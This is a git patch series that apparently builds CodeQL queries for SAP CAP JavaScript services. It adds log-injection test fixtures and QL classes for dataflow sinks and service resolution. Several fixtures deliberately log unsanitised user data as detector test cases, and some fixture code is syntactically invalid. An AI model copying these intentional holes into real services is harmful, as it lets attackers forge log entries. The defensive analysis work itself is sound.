 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/server.js
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.cds
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.cds
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/README.md
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/db/schema.cds
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/package.json
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/server.js
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service1.cds
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service1.js
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service2.cds
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service2.js

diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/README.md b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/README.md
new file mode 100644
index 000000000..0ae0ca457
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/README.md
@@ -0,0 +1,5 @@
+# Log Injection PoC
+
+This application demonstrates the possibility of a log injection through communications between several `ApplicationService`s with one dedicated to logging.
+
+The `ApplicationService`s randomly mixes JS class definitions with `cds.service.impl` for diversity.
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/db/schema.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/db/schema.cds
new file mode 100644
index 000000000..1d4202fb1
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/db/schema.cds
@@ -0,0 +1,11 @@
+namespace advanced_security.log_injection.sample_entities;
+
+entity Entity1 {
+  Attribute1 : String(100);
+  Attribute2 : String(100)
+}
+
+entity Entity2 {
+  Attribute3 : String(100);
+  Attribute4 : String(100)
+}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/package.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/package.json
new file mode 100644
index 000000000..feaa60a89
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/package.json
@@ -0,0 +1,12 @@
+{
+  "name": "@advanced-security/log-injection",
+  "version": "1.0.0",
+  "dependencies": {
+    "@sap/cds": "^7",
+    "express": "^4.17.1"
+  },
+  "scripts": {
+    "start": "cds-serve",
+    "watch": "cds watch"
+  }
+}
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/server.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/server.js
new file mode 100644
index 000000000..2f0beac60
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/server.js
@@ -0,0 +1,11 @@
+const cds = require('@sap/cds');
+const Service1 = await cds.connect.to("Service1");
+
+cds.once('bootstrap', (app) => {
+    app.serve("/log-injection").from("@advanced-security/log-injection");
+});
+
+Service1.on("Received1", async (msg) => {
+    const { messageToPass } = msg.data;
+    await Service2.send("Received2", { messageToPass });
+});
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.cds
new file mode 100644
index 000000000..d8477454b
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.cds
@@ -0,0 +1,11 @@
+using { advanced_security.log_injection.sample_entities as db_schema } from '../db/schema';
+
+service Service1 {
+  /* Entity to send READ about. */
+  entity Service1Entity as projection on db_schema.Entity1 excluding { Attribute2 }
+
+  /* Async API for Service1 to speak through. */
+  event Received1: {
+    messageToPass : String;
+  }
+}
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.js
new file mode 100644
index 000000000..2fe02c9e3
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.js
@@ -0,0 +1,11 @@
+const cds = require("@sap/cds");
+
+/* Emit a "Received1" event upon receiving a READ request on its entity. */
+module.exports = class Service1 extends cds.ApplicationService {
+    init() {
+        this.on("READ", "Entity1/Attribute1", (req) => {
+            let datetime = new Date();
+            this.emit("Received1", { datetime.toString() });
+        });
+    }
+}
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.cds
new file mode 100644
index 000000000..3cfae1f0f
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.cds
@@ -0,0 +1,6 @@
+service Service2 {
+  /* Async API to talk to Service2. */
+  event Received2: {
+    messageToPass: String;
+  }
+}
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js
new file mode 100644
index 000000000..bdc33f1d0
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js
@@ -0,0 +1,11 @@
+const cds = require("@sap/cds");
+const LOG = cds.log("logger");
+
+module.exports = cds.service.impl(() => {
+    /* Log upon receiving an "Received2" event. */
+    this.on("Received2", async (msg) => {
+        const { messageToPass } = msg.data;
+        /* A log injection sink. */
+        LOG.info("Received: ", messageToPass);
+  });
+})
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/README.md b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/README.md
new file mode 100644
index 000000000..0ae0ca457
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/README.md
@@ -0,0 +1,5 @@
+# Log Injection PoC
+
+This application demonstrates the possibility of a log injection through communications between several `ApplicationService`s with one dedicated to logging.
+
+The `ApplicationService`s randomly mixes JS class definitions with `cds.service.impl` for diversity.
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/db/schema.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/db/schema.cds
new file mode 100644
index 000000000..1d4202fb1
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/db/schema.cds
@@ -0,0 +1,11 @@
+namespace advanced_security.log_injection.sample_entities;
+
+entity Entity1 {
+  Attribute1 : String(100);
+  Attribute2 : String(100)
+}
+
+entity Entity2 {
+  Attribute3 : String(100);
+  Attribute4 : String(100)
+}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/package.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/package.json
new file mode 100644
index 000000000..feaa60a89
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/package.json
@@ -0,0 +1,12 @@
+{
+  "name": "@advanced-security/log-injection",
+  "version": "1.0.0",
+  "dependencies": {
+    "@sap/cds": "^7",
+    "express": "^4.17.1"
+  },
+  "scripts": {
+    "start": "cds-serve",
+    "watch": "cds watch"
+  }
+}
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/server.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/server.js
new file mode 100644
index 000000000..2f0beac60
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/server.js
@@ -0,0 +1,11 @@
+const cds = require('@sap/cds');
+const Service1 = await cds.connect.to("Service1");
+
+cds.once('bootstrap', (app) => {
+    app.serve("/log-injection").from("@advanced-security/log-injection");
+});
+
+Service1.on("Received1", async (msg) => {
+    const { messageToPass } = msg.data;
+    await Service2.send("Received2", { messageToPass });
+});
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.cds
new file mode 100644
index 000000000..b236d4735
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.cds
@@ -0,0 +1,12 @@
+using { advanced_security.log_injection.sample_entities as db_schema } from '../db/schema';
+
+@protocol: 'none'
+service Service1 {
+  /* Entity to send READ about. */
+  entity Service1Entity as projection on db_schema.Entity1 excluding { Attribute2 }
+
+  /* Async API for Service1 to speak through. */
+  event Received1: {
+    messageToPass : String;
+  }
+}
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js
new file mode 100644
index 000000000..ee088f24c
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js
@@ -0,0 +1,11 @@
+const cds = require("@sap/cds");
+
+/* Emit a "Received1" event upon receiving a READ request on its entity. */
+module.exports = class Service1 extends cds.ApplicationService {
+    init() {
+        this.on("READ", "Entity1/Attribute1", (req) => {
+            const { messageToPass } = req.data;
+            this.emit("Received1", { messageToPass });
+        });
+    }
+}
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.cds
new file mode 100644
index 000000000..fe85df509
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.cds
@@ -0,0 +1,7 @@
+@protocol: 'none'
+service Service2 {
+  /* Async API to talk to Service2. */
+  event Received2: {
+    messageToPass: String;
+  }
+}
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js
new file mode 100644
index 000000000..bdc33f1d0
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js
@@ -0,0 +1,11 @@
+const cds = require("@sap/cds");
+const LOG = cds.log("logger");
+
+module.exports = cds.service.impl(() => {
+    /* Log upon receiving an "Received2" event. */
+    this.on("Received2", async (msg) => {
+        const { messageToPass } = msg.data;
+        /* A log injection sink. */
+        LOG.info("Received: ", messageToPass);
+  });
+})
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/README.md b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/README.md
new file mode 100644
index 000000000..0ae0ca457
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/README.md
@@ -0,0 +1,5 @@
+# Log Injection PoC
+
+This application demonstrates the possibility of a log injection through communications between several `ApplicationService`s with one dedicated to logging.
+
+The `ApplicationService`s randomly mixes JS class definitions with `cds.service.impl` for diversity.
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/db/schema.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/db/schema.cds
new file mode 100644
index 000000000..1d4202fb1
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/db/schema.cds
@@ -0,0 +1,11 @@
+namespace advanced_security.log_injection.sample_entities;
+
+entity Entity1 {
+  Attribute1 : String(100);
+  Attribute2 : String(100)
+}
+
+entity Entity2 {
+  Attribute3 : String(100);
+  Attribute4 : String(100)
+}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/package.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/package.json
new file mode 100644
index 000000000..feaa60a89
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/package.json
@@ -0,0 +1,12 @@
+{
+  "name": "@advanced-security/log-injection",
+  "version": "1.0.0",
+  "dependencies": {
+    "@sap/cds": "^7",
+    "express": "^4.17.1"
+  },
+  "scripts": {
+    "start": "cds-serve",
+    "watch": "cds watch"
+  }
+}
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/server.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/server.js
new file mode 100644
index 000000000..2f0beac60
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/server.js
@@ -0,0 +1,11 @@
+const cds = require('@sap/cds');
+const Service1 = await cds.connect.to("Service1");
+
+cds.once('bootstrap', (app) => {
+    app.serve("/log-injection").from("@advanced-security/log-injection");
+});
+
+Service1.on("Received1", async (msg) => {
+    const { messageToPass } = msg.data;
+    await Service2.send("Received2", { messageToPass });
+});
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service1.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service1.cds
new file mode 100644
index 000000000..b236d4735
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service1.cds
@@ -0,0 +1,12 @@
+using { advanced_security.log_injection.sample_entities as db_schema } from '../db/schema';
+
+@protocol: 'none'
+service Service1 {
+  /* Entity to send READ about. */
+  entity Service1Entity as projection on db_schema.Entity1 excluding { Attribute2 }
+
+  /* Async API for Service1 to speak through. */
+  event Received1: {
+    messageToPass : String;
+  }
+}
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service1.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service1.js
new file mode 100644
index 000000000..ee088f24c
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service1.js
@@ -0,0 +1,11 @@
+const cds = require("@sap/cds");
+
+/* Emit a "Received1" event upon receiving a READ request on its entity. */
+module.exports = class Service1 extends cds.ApplicationService {
+    init() {
+        this.on("READ", "Entity1/Attribute1", (req) => {
+            const { messageToPass } = req.data;
+            this.emit("Received1", { messageToPass });
+        });
+    }
+}
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service2.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service2.cds
new file mode 100644
index 000000000..3cfae1f0f
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service2.cds
@@ -0,0 +1,6 @@
+service Service2 {
+  /* Async API to talk to Service2. */
+  event Received2: {
+    messageToPass: String;
+  }
+}
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service2.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service2.js
new file mode 100644
index 000000000..bdc33f1d0
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service2.js
@@ -0,0 +1,11 @@
+const cds = require("@sap/cds");
+const LOG = cds.log("logger");
+
+module.exports = cds.service.impl(() => {
+    /* Log upon receiving an "Received2" event. */
+    this.on("Received2", async (msg) => {
+        const { messageToPass } = msg.data;
+        /* A log injection sink. */
+        LOG.info("Received: ", messageToPass);
+  });
+})

From 67357f6d5fdcf2dd29c73d3d5728989acc0955bd Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Wed, 21 Feb 2024 17:09:51 -0800
Subject: [PATCH 27/86] Add description to each README and add missing
 annotation

...to `log-injection-not-depending-on-request`
---
 .../log-injection-not-depending-on-request/README.md          | 4 ++++
 .../log-injection-not-depending-on-request/srv/service2.cds   | 1 +
 .../log-injection-with-complete-protocol-none/README.md       | 4 ++++
 .../log-injection-with-partial-protocol-none/README.md        | 4 ++++
 .../log-injection-without-protocol-none/README.md             | 4 ++++
 5 files changed, 17 insertions(+)

diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/README.md b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/README.md
index 0ae0ca457..f35fac028 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/README.md
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/README.md
@@ -3,3 +3,7 @@
 This application demonstrates the possibility of a log injection through communications between several `ApplicationService`s with one dedicated to logging.
 
 The `ApplicationService`s randomly mixes JS class definitions with `cds.service.impl` for diversity.
+
+## It _is not_ a true positive case
+
+Service1 does not emit an event with data dependent on the request parameter, and Service2 is marked as internal, so its request parameter cannot be controlled from the outside.
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.cds
index 3cfae1f0f..b2821b0d0 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.cds
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.cds
@@ -1,3 +1,4 @@
+@protocol: 'None'
 service Service2 {
   /* Async API to talk to Service2. */
   event Received2: {
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/README.md b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/README.md
index 0ae0ca457..37fead206 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/README.md
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/README.md
@@ -3,3 +3,7 @@
 This application demonstrates the possibility of a log injection through communications between several `ApplicationService`s with one dedicated to logging.
 
 The `ApplicationService`s randomly mixes JS class definitions with `cds.service.impl` for diversity.
+
+## It _is not_ a true positive case
+
+Both services are marked as internal with the annotation `@protocol:'None'`, so all request handler parameters are not controlled from the outside.
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/README.md b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/README.md
index 0ae0ca457..c2670ebe6 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/README.md
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/README.md
@@ -3,3 +3,7 @@
 This application demonstrates the possibility of a log injection through communications between several `ApplicationService`s with one dedicated to logging.
 
 The `ApplicationService`s randomly mixes JS class definitions with `cds.service.impl` for diversity.
+
+## It _is_ a true positive case
+
+Service2 is still not marked as internal, so if `Received2` event is fired from the outside with user-controlled data, Service2 can still trigger log injection.
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/README.md b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/README.md
index 0ae0ca457..99c677e92 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/README.md
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/README.md
@@ -3,3 +3,7 @@
 This application demonstrates the possibility of a log injection through communications between several `ApplicationService`s with one dedicated to logging.
 
 The `ApplicationService`s randomly mixes JS class definitions with `cds.service.impl` for diversity.
+
+## It _is_ a true positive case
+
+Service1 receives user-controlled data with the event and emits Received1 event, upon which Service2 responds to a Received2 event and logs the data.

From 69c1bf7b51700a225bd0d177ef0a68eeb3278e2b Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Thu, 22 Feb 2024 13:06:14 -0800
Subject: [PATCH 28/86] Create `dataflow/` and move `ParseSink` there

---
 .../javascript/frameworks/cap/CDS.qll         | 14 -------------
 .../frameworks/cap/dataflow/DataFlow.qll      | 20 +++++++++++++++++++
 .../frameworks/cap/dataflow/FlowSteps.qll     |  3 +++
 3 files changed, 23 insertions(+), 14 deletions(-)
 create mode 100644 javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll
 create mode 100644 javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/FlowSteps.qll

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
index db3322577..2cc450e75 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
@@ -262,17 +262,3 @@ class UserDefinedApplicationService extends TUserDefinedApplicationService {
 private class CdsApplicationService extends API::Node {
   CdsApplicationService() { exists(CdsFacade c | this = c.getMember("ApplicationService")) }
 }
-
-/**
- * Methods that parse source strings into a CQL expression.
- */
-class ParseSink extends DataFlow::Node {
-  ParseSink() {
-    this =
-      any(CdsFacade cds)
-          .getMember("parse")
-          .getMember(["expr", "ref", "xpr"])
-          .getACall()
-          .getAnArgument()
-  }
-}
diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll
new file mode 100644
index 000000000..ed68bcf2b
--- /dev/null
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll
@@ -0,0 +1,20 @@
+/**
+ * `DataFlow::Node`s common to all security queries.
+ */
+
+import javascript
+import advanced_security.javascript.frameworks.cap.CDS
+
+/**
+ * Methods that parse source strings into a CQL expression.
+ */
+class ParseSink extends DataFlow::Node {
+    ParseSink() {
+      this =
+        any(CdsFacade cds)
+            .getMember("parse")
+            .getMember(["expr", "ref", "xpr"])
+            .getACall()
+            .getAnArgument()
+    }
+  }
\ No newline at end of file
diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/FlowSteps.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/FlowSteps.qll
new file mode 100644
index 000000000..6ac4278cf
--- /dev/null
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/FlowSteps.qll
@@ -0,0 +1,3 @@
+/**
+ * Additional flow steps to be registered to `DataFlow::SharedFlowStep`.
+ */
\ No newline at end of file

From 1e63e5d0f930577fbc028023389639a527ed3fbd Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Thu, 22 Feb 2024 17:14:05 -0800
Subject: [PATCH 29/86] Add `PackageJson.qll`

---
 .../javascript/frameworks/cap/PackageJson.qll | 52 +++++++++++++++++++
 1 file changed, 52 insertions(+)
 create mode 100644 javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/PackageJson.qll

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/PackageJson.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/PackageJson.qll
new file mode 100644
index 000000000..762c9f16e
--- /dev/null
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/PackageJson.qll
@@ -0,0 +1,52 @@
+import javascript
+
+/**
+ * The "cds" section of this application's `package.json`.
+ */
+class CdsManifest extends JsonObject {
+  CdsManifest() { exists(PackageJson parent | this = parent.getPropValue("cds")) }
+}
+
+/**
+ * The "requires" section of the "cds" section.
+ */
+class RequiresSection extends JsonObject {
+  RequiresSection() { exists(CdsManifest cdsSection | this = cdsSection.getPropValue("requires")) }
+}
+
+/**
+ * The service required by this application. It should provide a name
+ * by which `cds.connect().to(name)` looks up the target service.
+ */
+class RequiredService extends JsonObject {
+  string name;
+  string kind;
+
+  RequiredService() {
+    exists(RequiresSection requires |
+      this = requires.getPropValue(name) and
+      kind = this.getPropStringValue("kind")
+    )
+  }
+
+  string getName() { result = name }
+
+  string getKind() { result = kind }
+
+  /**
+   * Holds if this is a declaration of a remote service. All possible kinds of remote services can
+   * be found in [this part of CAPire](https://cap.cloud.sap/docs/guides/using-services#import-api).
+   */
+  predicate isRemote() { kind = ["odata", "odata-v4", "odata-v2", "rest", "sql", "sqlite"] }
+
+  /**
+   * Holds if this is a declaration of a local service, which must provide an
+   * [implementation](https://cap.cloud.sap/docs/node.js/cds-connect#cds-requires-srv-impl) as its property.
+   */
+  predicate isLocal() { exists(string path | path = this.getPropStringValue("impl")) }
+
+  /**
+   * Holds if this is a declaration of a database service, which is considered remote.
+   */
+  predicate isDatabase() { kind = ["sql", "sqlite"] }
+}

From 19912c89c328fd0c4d599c2ad4f972c05b86433e Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Thu, 22 Feb 2024 18:30:59 -0800
Subject: [PATCH 30/86] Add more classes

---
 .../javascript/frameworks/cap/CDS.qll         | 27 +++++-
 .../javascript/frameworks/cap/PackageJson.qll | 18 ++--
 .../frameworks/cap/dataflow/DataFlow.qll      | 90 ++++++++++++++++---
 3 files changed, 113 insertions(+), 22 deletions(-)

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
index 2cc450e75..0e60e1448 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
@@ -1,6 +1,7 @@
 import javascript
 import DataFlow
 import advanced_security.javascript.frameworks.cap.CDL
+import advanced_security.javascript.frameworks.cap.PackageJson
 
 /**
  * ```js
@@ -23,7 +24,9 @@ class CdsServeCall extends MethodCallNode {
 /**
  * A dataflow node that represents a service.
  */
-abstract class ServiceInstance extends DataFlow::Node { } // Use `DataFlow::Node` to be the most general.
+abstract class ServiceInstance extends DataFlow::Node {
+  abstract UserDefinedApplicationService getDefinition();
+}
 
 /**
  * A service instance obtained by the service's name, via serving
@@ -36,6 +39,10 @@ abstract class ServiceInstance extends DataFlow::Node { } // Use `DataFlow::Node
  */
 class ServiceInstanceFromCdsServe extends ServiceInstance {
   ServiceInstanceFromCdsServe() { exists(CdsFacade cds | this = cds.getMember("serve").getACall()) }
+
+  override UserDefinedApplicationService getDefinition() {
+    none() // TODO: how should we deal with serve("all")?
+  }
 }
 
 /**
@@ -56,6 +63,14 @@ class ServiceInstanceFromCdsConnectTo extends MethodCallNode, ServiceInstance {
       serviceName = this.getArgument(0).getALocalSource().asExpr().(StringLiteral).getValue()
     )
   }
+
+  override UserDefinedApplicationService getDefinition() {
+    exists(RequiredService serviceDecl, string abspath |
+      serviceDecl.getName() = serviceName and
+      abspath = serviceDecl.getImplementationFile().getAbsolutePath() and
+      result.hasLocationInfo(abspath, _, _, _, _)
+    )
+  }
 }
 
 /**
@@ -69,6 +84,8 @@ class ServiceInstanceFromCdsConnectTo extends MethodCallNode, ServiceInstance {
  */
 class ServiceInstanceFromConstructor extends ServiceInstance {
   ServiceInstanceFromConstructor() { this = any(CdsApplicationService cds).getAnInstantiation() }
+
+  override UserDefinedApplicationService getDefinition() { none() }
 }
 
 /**
@@ -78,6 +95,10 @@ class ServiceInstanceFromThisNode extends ServiceInstance {
   ServiceInstanceFromThisNode() {
     exists(ThisNode thisNode | thisNode.flowsTo(this) and this != thisNode)
   }
+
+  override UserDefinedApplicationService getDefinition() {
+    result.getInitFunction().asExpr() = this.asExpr().getEnclosingFunction()
+  }
 }
 
 /**
@@ -98,6 +119,10 @@ class ServiceInstanceFromServeWithParameter extends ParameterNode, ServiceInstan
       this = withCall.getArgument(0).(FunctionNode).getParameter(0)
     )
   }
+
+  override UserDefinedApplicationService getDefinition() {
+    none() // TODO
+  }
 }
 
 /**
diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/PackageJson.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/PackageJson.qll
index 762c9f16e..c6ab49252 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/PackageJson.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/PackageJson.qll
@@ -20,24 +20,18 @@ class RequiresSection extends JsonObject {
  */
 class RequiredService extends JsonObject {
   string name;
-  string kind;
 
-  RequiredService() {
-    exists(RequiresSection requires |
-      this = requires.getPropValue(name) and
-      kind = this.getPropStringValue("kind")
-    )
-  }
+  RequiredService() { exists(RequiresSection requires | this = requires.getPropValue(name)) }
 
   string getName() { result = name }
 
-  string getKind() { result = kind }
-
   /**
    * Holds if this is a declaration of a remote service. All possible kinds of remote services can
    * be found in [this part of CAPire](https://cap.cloud.sap/docs/guides/using-services#import-api).
    */
-  predicate isRemote() { kind = ["odata", "odata-v4", "odata-v2", "rest", "sql", "sqlite"] }
+  predicate isRemote() {
